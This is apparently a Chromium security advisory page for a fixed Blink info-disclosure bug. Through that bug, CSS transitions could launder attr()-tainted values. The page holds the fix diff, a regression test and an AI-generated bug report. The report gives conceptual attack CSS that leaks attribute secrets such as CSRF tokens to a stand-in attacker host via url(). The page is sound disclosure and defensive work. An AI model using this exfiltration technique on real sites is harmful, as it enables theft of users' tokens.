Medium chrome Info Disclosure 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInformation leak in Animation
DescriptionInformation leak in Animation
ComponentAnimation
Sub-componentBlink>Animation
Bug ClassInfo Disclosure
Tracker537107728
Fix commit695f103232c8 (chromium/src) +67/-1
CISA KEVNot listed
CreditedGoogle
Disclosed2026-10-06

Files Changed

  • third_party/blink/web_tests/external/wpt/css/css-variables/transition-with-attribute-taint.html
  • third_party/blink/renderer/core/animation/css/css_animations.cc
From 695f103232c8a9cace652945719bbceab4fefc87 Mon Sep 17 00:00:00 2001
From: Kevin Ellis <kevers@google.com>
Date: Thu, 10 Sep 2026 12:48:57 -0700
Subject: [PATCH] Prevent CSS transition from leaking tainted value

Previously we could leak an attr-tainted value by stopping an
animation in the same frame that a transition starts that affects the
same property. Removal of the CSS animation can result in the start
value of a transition being attr-tainted. We were incorrectly getting
the variable data from the previous update's style and not from
before-change style.

Bug: 537107728
Change-Id: Ie070a17a8d5af469895fff33fa19e9a114529815
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8386356
Reviewed-by: Rune Lillesveen <futhark@chromium.org>
Commit-Queue: Kevin Ellis <kevers@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1695585}
---
diff --git a/third_party/blink/renderer/core/animation/css/css_animations.cc b/third_party/blink/renderer/core/animation/css/css_animations.cc
index 12756c6..c2748d3 100644
--- a/third_party/blink/renderer/core/animation/css/css_animations.cc
+++ b/third_party/blink/renderer/core/animation/css/css_animations.cc
@@ -2664,7 +2664,7 @@
     const Document& document = state.animating_element.GetDocument();
     CSSPropertyName property_name = property.GetCSSPropertyName();
     CSSPropertyRef custom_ref(&property_name, document);
-    CSSVariableData* old_data = state.old_style.GetVariableData(
+    CSSVariableData* old_data = before_change_style.GetVariableData(
         property.CustomPropertyName(), custom_ref.GetProperty().IsInherited());
     CSSVariableData* new_data = after_change_style.GetVariableData(
         property.CustomPropertyName(), custom_ref.GetProperty().IsInherited());
diff --git a/third_party/blink/web_tests/external/wpt/css/css-variables/transition-with-attribute-taint.html b/third_party/blink/web_tests/external/wpt/css/css-variables/transition-with-attribute-taint.html
new file mode 100644
index 0000000..a5f8fbe
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/css-variables/transition-with-attribute-taint.html
@@ -0,0 +1,66 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="utf-8">
+  <meta name="viewport" content="width=device-width, initial-scale=1">
+  <link rel="help" href="https://drafts.csswg.org/css-values-5/#attr-security">
+  <script src="/resources/testharness.js"></script>
+  <script src="/resources/testharnessreport.js"></script>
+  <script src="/web-animations/testcommon.js"></script>
+  <title>attr()-taint in CSS transition</title>
+</head>
+<style>
+  @property --src {
+    syntax: "<number>";
+    inherits: true;
+    initial-value: 0;
+  }
+  @property --n {
+    syntax: "<number>";
+    inherits: false;
+    initial-value: 0;
+  }
+
+  @keyframes mask {
+    from { --src: 0; }
+    to   { --src: 0; }
+  }
+
+  #target {
+    background-color: rebeccapurple;
+    width: 200px;
+    height: 200px;
+    transition: --n 1000s steps(1, end);
+  }
+
+  #target.stage1 {
+    --src: attr(data-secret type(<number>));
+    --n: var(--src);
+    animation: mask 1000s linear;
+  }
+
+  #target.stage2 {
+    animation: none;
+    --n: -1;
+    background-image:
+      /* transition start value is attr()-tainted. Ensure it is not leaked. */
+      if(style(--n: 7193): url("/leaked/secret.html"); else: none);
+  }
+
+</style>
+<body>
+  <div id="target"  data-secret="7193" class="stage1"></div>
+</body>
+<script>
+  promise_test(async () => {
+    const target  = document.getElementById('target');
+    getComputedStyle(target).getPropertyValue('--n');
+    await runAndWaitForFrameUpdate(() => {
+      target.classList.remove('stage1');
+      target.classList.add('stage2');
+    });
+    const bg  = getComputedStyle(target).getPropertyValue('background-image');
+    assert_equals(bg, 'none');
+  }, 'Attribute tainted value blocked');
+</script>
+</html>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/css/css-variables/transition-with-attribute-taint.html b/third_party/blink/web_tests/external/wpt/css/css-variables/transition-with-attribute-taint.html
new file mode 100644
index 0000000..a5f8fbe
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/css-variables/transition-with-attribute-taint.html
@@ -0,0 +1,66 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="utf-8">
+  <meta name="viewport" content="width=device-width, initial-scale=1">
+  <link rel="help" href="https://drafts.csswg.org/css-values-5/#attr-security">
+  <script src="/resources/testharness.js"></script>
+  <script src="/resources/testharnessreport.js"></script>
+  <script src="/web-animations/testcommon.js"></script>
+  <title>attr()-taint in CSS transition</title>
+</head>
+<style>
+  @property --src {
+    syntax: "<number>";
+    inherits: true;
+    initial-value: 0;
+  }
+  @property --n {
+    syntax: "<number>";
+    inherits: false;
+    initial-value: 0;
+  }
+
+  @keyframes mask {
+    from { --src: 0; }
+    to   { --src: 0; }
+  }
+
+  #target {
+    background-color: rebeccapurple;
+    width: 200px;
+    height: 200px;
+    transition: --n 1000s steps(1, end);
+  }
+
+  #target.stage1 {
+    --src: attr(data-secret type(<number>));
+    --n: var(--src);
+    animation: mask 1000s linear;
+  }
+
+  #target.stage2 {
+    animation: none;
+    --n: -1;
+    background-image:
+      /* transition start value is attr()-tainted. Ensure it is not leaked. */
+      if(style(--n: 7193): url("/leaked/secret.html"); else: none);
+  }
+
+</style>
+<body>
+  <div id="target"  data-secret="7193" class="stage1"></div>
+</body>
+<script>
+  promise_test(async () => {
+    const target  = document.getElementById('target');
+    getComputedStyle(target).getPropertyValue('--n');
+    await runAndWaitForFrameUpdate(() => {
+      target.classList.remove('stage1');
+      target.classList.add('stage2');
+    });
+    const bg  = getComputedStyle(target).getPropertyValue('background-image');
+    assert_equals(bg, 'none');
+  }, 'Attribute tainted value blocked');
+</script>
+</html>
Loading diff…

Original Bug Report

reported by vm...@google.com

Bypass of transition attr-taint check via var()-indirected registered property

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: CSS transitions can potentially bypass the CSS Values 5 attr()-in-url() security restriction, allowing same-document DOM attributes (such as nonces or CSRF tokens) to be exfiltrated via CSS injection. This occurs because the taint calculation logic checks the wrong computed style object, which can be manipulated via var()-indirection on an animated property.

Affected files:

  • third_party/blink/renderer/core/animation/css/css_animations.cc

Estimated timestamp from git blame: Unknown (Google3 checkout)

Core Bug Description

In Chromium’s implementation of CSS Values 5 attr(), a security mitigation (attr-tainting) is applied to prevent same-origin DOM attributes from being exfiltrated via CSS injection into resource-loading sinks (like url()). However, CSSAnimations::CalculateTransitionUpdateForPropertyHandle computes the is_attr_tainted flag for custom property transitions using state.old_style, while it retrieves the actual starting value for the transition from state.before_change_style.

By animating a registered dependency custom property, an attacker can manipulate the value of a dependent property in state.old_style to be untainted while leaving its base value in state.before_change_style tainted. This divergence allows the transition start value to carry the tainted attribute value while laundering its taint flag, permitting exfiltration.

Root Cause Analysis

In third_party/blink/renderer/core/animation/css/css_animations.cc:

CSSInterpolationEnvironment old_environment(map, *state.before_change_style,
                                            after_change_style);
...
start = interpolation_type->MaybeConvertUnderlyingValue(old_environment); // Sourced from before_change_style

But the taint checking for custom properties reads:

bool is_attr_tainted = false;
if (property.IsCSSCustomProperty()) {
  ...
  CSSVariableData* old_data = state.old_style.GetVariableData( // Sourced from old_style
      property.CustomPropertyName(), custom_ref.GetProperty().IsInherited());
  CSSVariableData* new_data = after_change_style.GetVariableData(...);
  is_attr_tainted = (old_data && old_data->IsAttrTainted()) ||
                    (new_data && new_data->IsAttrTainted());
}

When a registered property --src (inheriting) is animated via keyframes to 0 (untainted), a dependent property --n: var(--src) will resolve to the untainted 0 in the final computed style (state.old_style). However, the un-animated base style of the previous frame remains untouched in the snapshot used by before_change_style. When the animation is removed in Frame N, a transition starts on --n. Its start value is converted from before_change_style where --src was still the tainted attribute value, but the taint check is performed against state.old_style (which is untainted). This mismatch causes is_attr_tainted to evaluate to false and launders the starting transition value.

Potential Attack Steps (Conceptual)

Note: These are suggested/potential steps, our tooling agent does not yet have the ability to run code.

  1. Register two <number> custom properties via @property: --src and --n.
  2. In Frame N-1, the attacker applies CSS:
    #target {
      --src: attr(data-secret type(<number>));
      --n: var(--src);
      animation: mask 1ms both;
      transition: --n 10s steps(1, end);
    }
    @keyframes mask { from, to { --src: 0; } }
    
  3. In Frame N, the attacker updates the rules:
    #target {
      animation: none;
      --n: 5;
      background-image: if(style(--n > 4096): url(//attacker/bit12); else: none);
    }
    
  4. The starting transition keyframe on --n carries the secret value but is incorrectly marked as untainted, allowing the if(style()) query to successfully evaluate and trigger the url() network fetch.

Suggested Fix

To resolve this issue, the transition custom property taint check should evaluate is_attr_tainted using state.before_change_style (the style environment from which the starting value was actually converted) rather than state.old_style:

    CSSVariableData* old_data = state.before_change_style->GetVariableData(
        property.CustomPropertyName(), custom_ref.GetProperty().IsInherited());

Evaluated with Chrome root at commit: bf775e5d75cb9e1767e2cd02cc93efa0077d14a5


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker